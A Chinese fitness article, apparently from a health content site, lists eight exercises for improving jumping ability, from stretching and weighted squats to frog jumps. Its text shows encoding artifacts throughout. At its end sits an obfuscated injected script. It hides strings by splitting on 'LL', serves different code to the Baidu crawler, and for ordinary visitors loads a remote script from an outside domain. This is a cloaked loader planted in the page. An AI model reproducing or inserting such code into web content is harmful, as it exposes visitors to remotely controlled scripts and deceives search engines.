當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

如何訓(xùn)練彈跳力好呢

2017-04-17 12:38:55  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:擁有好的彈跳力,可以更好的進(jìn)行一些體育運(yùn)動(dòng),很多體育愛好者都非常希望能夠掌握一些有助于提高彈跳力的方法。那么,如何訓(xùn)練彈跳力好呢?

擁有好的彈跳力,可以更好的進(jìn)行一些體育運(yùn)動(dòng),很多體育愛好者都非常希望能夠掌握一些有助于提高彈跳力的方法。那么,如何訓(xùn)練彈跳力好呢?有哪些好方法能夠幫助訓(xùn)練彈跳力呢?下面便一起來看一下這篇文章的相關(guān)介紹吧,看看如何能夠快速的訓(xùn)練彈跳力,希望對(duì)您有幫助。

1柔韌訓(xùn)練,你必須堅(jiān)持每天拉伸自己全身各部位的肌腱、韌帶、肌肉,擴(kuò)大關(guān)節(jié)的活動(dòng)范圍,同時(shí),做各種復(fù)雜的有利于提高身體協(xié)調(diào)性的體操。動(dòng)作要準(zhǔn)確、優(yōu)美、既有力又放松。作者最喜歡的方式是帶上隨身聽做這一系列熱身運(yùn)動(dòng),表示身心愉悅,輕松無比

2負(fù)重蹲起訓(xùn)練,在籃球隊(duì)有專門的負(fù)重器材,杠鈴,沒有也沒關(guān)系,不就是負(fù)重嗎,你完全可以找個(gè)書包,塞個(gè)30斤書在里面來訓(xùn)練,負(fù)重蹲屬于運(yùn)動(dòng)量比較大的訓(xùn)練,不要每天做,一周做三次,每次分三組,沒組做30—50個(gè),看你自身素質(zhì)來,不要太勉強(qiáng),過度的訓(xùn)練反而效果不佳,對(duì)身體也不好。

3抓舉訓(xùn)練,抓舉常用的器材也是杠鈴,當(dāng)然你也可以找身邊的東西替代,比如上個(gè)步驟中30斤重的書包,你也可以買桶純凈水,30公斤的,同樣可以訓(xùn)練這一項(xiàng),抓舉也是大運(yùn)動(dòng)量的訓(xùn)練,需注意時(shí)間和次數(shù)。

4往返跑訓(xùn)練,爆發(fā)力和反應(yīng)能力也是鍛煉彈跳必不可少的,這里提供的方法是往返跑,以籃球場(chǎng)為例,籃球場(chǎng)的兩條長(zhǎng)邊,從一條邊沖刺到對(duì)面,到達(dá)對(duì)面是單手摸線算到達(dá)然后折返回去,如此往返,次數(shù)看個(gè)人自身素質(zhì)。

5負(fù)重跑訓(xùn)練,準(zhǔn)備兩個(gè)沙袋綁在小腿上,繞籃球場(chǎng)負(fù)重跑步,速度不要過快,保持勻速,直到跑不動(dòng)為止。

6腳尖跳訓(xùn)練,最簡(jiǎn)單的就是跳繩,相信大多數(shù)都會(huì)跳吧,不會(huì)跳繩的就只好模仿跳繩的動(dòng)作跳,跳繩速度要快,用腳尖起跳。

7半蹲跳訓(xùn)練,半蹲跳也就是常說的蛙跳,可以平地蛙跳,比如繞著籃球場(chǎng)跳,也可以找臺(tái)階蛙跳,比如樓道階梯。蛙跳屬于大運(yùn)動(dòng)項(xiàng)目,需注意訓(xùn)練時(shí)間的間隔。

8摸高跳訓(xùn)練,最常見的就是摸板訓(xùn)練,就是摸籃板,如果你摸不到,可以找一個(gè)比較適合你的高度,比如指定某個(gè)高度的樹葉,連續(xù)摸高。

以上便是關(guān)于如何訓(xùn)練彈跳力的介紹。彈跳力的訓(xùn)練是一個(gè)長(zhǎng)期的過程,在練習(xí)的時(shí)候要注意堅(jiān)持下去,不要松懈。建議在訓(xùn)練之前,應(yīng)該要進(jìn)行一些熱身的運(yùn)動(dòng),否則很容易在訓(xùn)練的時(shí)候受傷,危害到身體的健康,這樣就得不償失了。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}